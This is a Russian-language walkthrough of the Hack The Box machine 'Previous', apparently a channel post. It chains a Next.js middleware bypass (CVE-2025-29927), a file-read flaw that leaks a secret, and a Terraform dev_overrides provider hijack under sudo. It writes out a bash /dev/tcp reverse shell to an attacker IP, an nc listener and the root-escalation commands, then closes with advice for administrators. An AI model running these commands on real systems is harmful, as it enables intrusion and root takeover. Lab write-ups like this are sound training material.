5просмотров
12.5%от подписчиков
25 марта 2026 г.
Score: 6
cat > /dev/shm/terraform-provider-examples << 'EOF'
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.220/4444 0>&1
EOF
chmod +x /dev/shm/terraform-provider-examples Теперь создаем конфиг Terraform, который переопределяет путь к провайдеру на нашу директорию: cat > ~/.terraformrc << 'EOF'
provider_installation { dev_overrides { "previous.htb/terraform/examples" = "/dev/shm" } direct {}
}
EOF Ставим слушатель на атакующей машине: nc -lvnp 4444 Запускаем Terraform от root с указанием рабочей директории: sudo /usr/bin/terraform -chdir=/opt/examples apply Terraform ищет провайдер previous.htb/terraform/examples, находит наш скрипт в /dev/shm (благодаря dev_overrides) и выполняет его от root . Получаем шелл с правами root. Флаг в /root/root.txt. 📊 Схема атаки визуально ┌─────────────┐ 1. nmap → порты 80,22 ┌─────────────────┐
│ Хакер │ ───────────────────────────────► │ previous.htb │
│ 10.10.14.220│ │ (Next.js) │
└─────────────┘ └─────────────────┘ │ │ │ 2. X-Powered-By: Next.js → версия 15.2.2 │ │ 3. CVE-2025-29927 → Bypass middleware │ │ x-middleware-subrequest: middleware:... │ └─────────────────────────────────────────────────────►│ │ │ 4. LFI через /api/download?example=../../../../ │ │ → читаем .next/server/[...nextauth].js │ │ → находим секрет: "MyNameIsJeremy..." │ └─────────────────────────────────────────────────────►│ │ │ 5. SSH с найденным секретом │ │ jeremy@10.10.11.95 │ └─────────────────────────────────────────────────────►│ │
┌─────────────┐ 6. sudo -l → SETENV: /usr/bin/terraform ┌─────────────────┐
│ jeremy │ ───────────────────────────────────────────► │ Хост │
└─────────────┘ └─────────────────┘ │ │ │ 7. ~/.terraformrc с dev_overrides на /dev/shm │ │ 8. скрипт /dev/shm/terraform-provider-examples │ │ 9. sudo terraform apply → reverse shell as root │ └─────────────────────────────────────────────────────► │ ▼ ┌─────────────────┐ │ root! │ └─────────────────┘ 🛡 Как защищаться (выводы для админов) 1. Next.js middleware — обновляйте до актуальных версий. CVE-2025-29927 закрыта в патчах .
2. Не храните секреты в клиентском коде — даже в скомпилированных JS-файлах. Используйте Vault или AWS Secrets Manager .
3. Sudo с SETENV — красный флаг — для сложных бинарников вроде Terraform, Python, Java всегда контролируйте окружение .
4. Terraform provider overrides — в продакшене используйте terraform.lock.hcl и подписанные провайдеры .
5. Проверяйте LFI — даже если кажется, что параметр безопасен, тестируйте --path-as-is . 💡 Выводы Previous — это элегантная машина, которая учит думать, а не тыкать: - Next.js middleware bypass через заголовки — reminder, что логические уязвимости опаснее банальных инъекций
- LFI + знание структуры проекта → секреты из скомпилированного кода
- Terraform provider hijack — неожиданный, но логичный путь к root через dev_overrides Как сказано в одном из райтапов: "walkthroughs teach what to type; methodologies teach how to think" . Эта машина именно про второе.